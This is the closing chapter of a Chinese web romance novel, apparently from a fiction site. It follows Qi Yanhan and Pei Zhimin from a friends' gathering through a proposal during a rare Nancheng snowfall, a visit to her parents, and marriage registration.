这阵子他都在出差,许久不见,好像是有点想他,但裴知悯又不好意思,沉默片刻,她语气不太自然:“我就问问,你不说算了。” 祁砚寒低低笑了声:“这周六。” 外面风渐渐小了,裴知悯和他聊了十来分钟才挂了电话,她看向外面,窗子上盖着一层白霜,凛冬来临,天气愈发寒冷。 南城好像很多年都没下过雪了。 祁砚寒回来的那天下午,喻臣把蒋琛约出来 一起聚了聚。 包厢里,他俩先到,蒋琛没表现的多颓废,反而是一副云淡风轻的样子,只是那目光里,有了岁月的打磨和沧桑,终究是不像之前了。 喻臣大手一挥,让他随便点,蒋琛只要了酒,喻臣看着他,张了张口,还没问,蒋琛先开口道:“安慰的话就不必说了,我自己选的路,结果怎么样,我都接受。” 喻臣笑了:“不要想太多,我只是想问要不要点吃的?” 蒋琛:“………………” 后面酒来了,喻臣开了一瓶,刚倒了两杯门就开了,祁砚寒阔步进来,脱下外套,径直走到沙发上坐下。 喻臣瞥了眼门口:“就你一个人?” 祁砚寒往后一靠,淡声道:“她忙着呢。” 社里临时有事,裴知悯过去了一趟,大概是真忙,他中午发的微信到现在都没回。 喻臣笑了一下:“你这语气怎么感觉有点……” 他想了半天,终于找到了一个合适的词儿:“幽怨。” 祁砚寒白了他一眼,抽了支烟出来,打火机落在外套里了,他拿了喻臣的,拢着火点燃,吸了一口。 许久没见,几个人开怀畅饮,桌上的酒杯满了又空,空了又满,过了好多轮,喻臣去外面接电话,祁砚寒给蒋琛推荐了几支股票,他没有接话,默然地喝酒。 十二月的天空一片灰白,见不到一丝阳光。 裴知悯是下午四点多过去的,包厢里,几个男人谈笑风生,桌上摆着一圈酒,有好些都空了,坐在他旁边,祁砚寒递来杯果汁,问道:“事情弄完了?” “嗯,”裴知悯摩挲着杯壁,“你这酒度数高吗?” “一般,”祁砚寒握着她的手,“放心,我有数。” 裴知悯轻“嗯”了声,抿着果汁,同事发来了条工作消息,她正回复着,余光瞥见他烟酒都来的样子,忍不住蹙了蹙眉,悄悄和他拉开了些距离。 似乎察觉到什么,祁砚寒偏头看了过来,以眼神询问,裴知悯说没事你忙自己的,说着又往远处挪了点。 祁砚寒顿了一下,把烟按灭在烟灰缸里,往她面前凑,态度十分诚恳:“我不抽了还不成吗?” 裴知悯淡淡看了他一眼,低头看着手机。 祁砚寒无奈一笑,轻捏了她的腰一把,刻意压低嗓音:“不是想我了吗?” 裴知悯脸颊一烫,抿唇道:“我没说过。” 祁砚寒慢慢笑了,自顾自地闷了一杯酒。 喻臣瞧见他被裴知悯吃的死死的,又新奇又好笑。 “看你们感情挺稳定的,”他悄声打听道,“你没想过再进一步?” 祁砚寒动作一顿,目光遥远,想起国庆方芷宜闲来无事,来问他今年家里会不会多一个人,他怎会不懂她是什么意思,那时他把房子都看好了,前些天还定了戒指,他今天中午去拿的,此刻就放在他大衣左侧的口袋里。 没想过进一步的事?怎么可能。 见他愣着,喻臣给了他胳膊一下:“问你呢。” 祁砚寒喝了口酒,淡声道:“要你说。” 喻臣了然一笑。 那天晚上祁砚寒多喝了些,脸上都泛着两分醉意,裴知悯把人送了回去,让他平躺在床上,她去泡了杯蜂蜜水拿给他,祁砚寒喝的有点急,被呛着咳嗽了几声。 裴知悯边给他顺背边忍不住说:“不是说有数吗?让你喝这么多,还抽烟,身体不要算了。” 祁砚寒笑:“不要能行?” 裴知悯沉默几秒,咬唇道:“算了,我不说了。” “别啊,”祁砚寒拉住她的手腕,懒洋洋道,“你多说说,我爱听。” 裴知悯细眉蹙起:“我说了也是白说。” 祁砚寒闷声笑了,亲了下她的手背:“心疼我?” 裴知悯看着他,表情不言而喻。 夜色漆黑,家里光线柔和明亮,身旁的人安静地陪着他,平复了半晌,祁砚寒走进浴室洗澡,再出来时,裴知悯已经躺在床上了,昏昏欲睡。 房间只亮着一盏壁灯,昏黄温暖,她的睡颜恬静柔美,似水温柔。 祁砚寒走到床边,掀开被子,把人抱在怀里,他的胸膛坚实温暖,裴知悯下意识地往他怀里钻去,随机半睁开眼皮,含糊道:“你还难受吗?” “别担心,”祁砚寒浅吻了下她的发端,轻声说,“睡吧。” 裴知悯松了一口气,很快又闭上了眼睛。 隔日的天气依旧不见晴,窗外日色惨淡,偶尔有鸟雀从窗外飞过。 有几声鸟鸣特别凌厉,裴知悯被吵醒,悠悠睁开眼睛,身边的男人眉眼立体,面容英朗,眉宇间都是男人的稳重从容,大抵是最近太忙,他眼角眉梢透露淡淡的倦意,她想起他之前说的想把早晚的事提早发生,不由地笑了。 不知看了多久,祁砚寒倏地睁开了眼,四目相对时,裴知悯怔住了,听见他问:“好看吗?” 刚醒来,他的声音沙哑低沉。 裴知悯抿了抿嘴,想省略过这个话题,她垂眸的模样纯真清然,脖颈白的像雪,男人如狼似虎地扑了过来,径直吻上了她的唇,裴知悯嘤咛一声,呼吸霎时被夺,他的手到处煽风点火,她无力抵抗,意识逐渐迷乱。 一室缱绻之后,天光已经大亮。 裴知悯再次醒来,身边没有人,她下床收拾好,出去倒了杯水喝,还没喝完,祁砚寒拎着饭菜回来了,两个人坐在餐桌前,静静地吃着。 电视里正在播报午间新闻,南城气象台预计从今天白天到夜间,部分地区有雨夹雪或小到中雪,局地大到暴雪,气温-1~8℃…… 裴知悯看过去一眼。 祁砚寒:“怎么了?” 裴知悯敛回视线,语气慵懒:“想看雪了。” 祁砚寒看向窗外,天空廖阔瓷白,很是低沉,其实他也很期待这个冬天,能有一场雪到来。 就当是为了纪念很多年前的那个雪天。 吃完饭,裴知悯又去睡了一觉,再醒来,她在,窗上忽地传来细小的声响,她抬头一看,竟然下起了雪,雪花不大,她惊喜地跑到窗边,静静地望着,一会的功夫,身后传来熟悉的气息,裴知悯没有回头,自言自语道:“天气预报还真没说错。” 祁砚寒勾唇笑了。 裴知悯盯着外面,声音愉悦纯净:“你不觉得下雪天很浪漫吗?” 祁砚寒追问道:“怎么说?” 裴知悯想了几秒,语调上扬:“南城的雪天很难得的,遇见就要珍惜,就跟人海里两个人相遇一样,全都要靠缘分。” 那时祁砚寒手已经摸向大衣口袋,听见她的话轻轻笑了,随后咽了咽嗓子,轻声说:“你转身。” 裴知悯还没察觉到不对,听话照做。 祁砚寒穿着正式,笔挺地站在她背后,手里拿着个四方的黑色丝绒盒子,眉眼含笑,缓缓在她面前单膝跪地。 裴知悯顿时愣了。 她根本不会想到,在一个突如其来的下雪天,世界只有细雪声,风声和她的心跳声,她年少时喜欢了很久的人,在多年后的今天,向她求了婚。 简约又不失精致的钻戒,被推入她的无名指中, 缠绵的一吻结束,两个人站在窗前,紧紧依偎在一起,祁砚寒望着外边飘零的细雪,心头感慨又动容。 南城很少下雪,我此生唯一所见的两次,一次动了情,一次有了妻。 凛风旋打着玻璃窗,房间里温暖如春,裴知悯眼眸含笑,看了好久无名指上的戒指,才想起来给苏英打电话。 “妈,过两天我和他一起回来。” 苏英顿了两秒,连声说好。 这场雪下得不大,夜里就停止了。 雪后初霁的那天,祁砚寒拎着两手的礼品,跟着她一起回了家,站在门口,裴知悯看着他深吸了一口气,一瞬间有些恍惚,十五岁时捡到她家钥匙的男生,竟然在她二十五岁这年,走进了她家的家门。 开了门,苏英很热情,拉着他说快进来坐,沙发上,裴振和他聊天,祁砚寒正襟危坐,回得认认真真。 过了半小时,裴振被喊去帮厨了,祁砚寒去了她房间参观,她的卧室不大,布置得却很温馨,娃娃风铃,床尾是书桌,转角做了半面的墙书架。 祁砚寒环视一周,书桌上面放着一张贴满条形码的相框,他记起来是高三毕业那年,她说用条形码来做个纪念,祁砚寒看了一圈,上面喻臣喻书蒋琛卫旭都在,但就是没有他。 温和的风拂进来,窗檐上的风铃叮铃作响。 祁砚寒想了两秒,问道:“我记得我好像也给过你条形码,这上面的怎么没我?” 他这么一说裴知悯才想起,读大学前,她就把只贴着他们名字条形码的相框收了起来,从此再没拿出来过。 裴知悯蹲在地上边找边嘀咕:“这么久了,我都不记得放哪儿去了。” 祁砚寒望着她胡乱的翻翻找找,心口忽地一疼。 一通乒铃乓啷过后,终究是找到了,只是,相框早已落满灰尘,裴知悯庆幸又惊讶:“居然还在。” 再次看见这张条形码,祁砚寒居然清楚的记得,那是他从他二模考试中单科最高分的答题卡上撕下来的,祁砚寒抽出纸巾擦拭了相框上的灰尘,待到相框洁净,他把它放在了书桌上最亮眼的位置。 “以后都摆着吧。” 阳光穿过窗台照进来,相框四周都泛着柔和的光,裴知悯望着里面并排的条形码,眼眶蓦地酸涩起来。 很多年前,那段无疾而终的暗恋,终究是变成了圆满。 风铃声还在响,门外,苏英在喊吃饭了,裴知悯擦了擦眼尾,牵着他一起出去了。 后来的一段日子,南城都是晴天,阳光热烈,天气好得不像是在冬天。 那天裴知悯的外务提前完成了,有了半天假,祁砚寒过去时,她正在看街头艺人做糖人,摊前围着的都是小朋友,就她一个大人,她看得和他们一样专注。 祁砚寒轻笑了下,走近说:“想吃就买一个?” 裴知悯仰头,眼睛很亮,看着他笑:“不用,我就是觉得挺有意思的。” 她不吃,祁砚寒也没勉强,牵着她往车那儿走,年关迫近,街上张灯结彩,热闹非凡,他们在人潮里慢慢穿行,上了车,祁砚寒打开了车载电台,跳出来的歌竟然是梁静茹的《情歌》。 温柔的女声娓娓道来,诚恳又动人,裴知悯静静听着,走过几条街,她望见车窗外匀速倒退的街景,转头看他:“这不是回家的路啊?” 祁砚寒目视前方:“先不回家。” 裴知悯不解:“那去哪儿?” 祁砚寒打开储物柜,里面摆着两本户口本:“民政局。” 裴知悯看着那两个红本,不自觉地笑了。 这天的南城天空辽阔,阳光灿烂,风也温柔,身边是相爱的人,《情歌》慢慢放着,不知不觉就到了尾声—— “还好我有,我下一首情歌,生命宛如静静的相拥的河,永远天长地久。” ——正文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&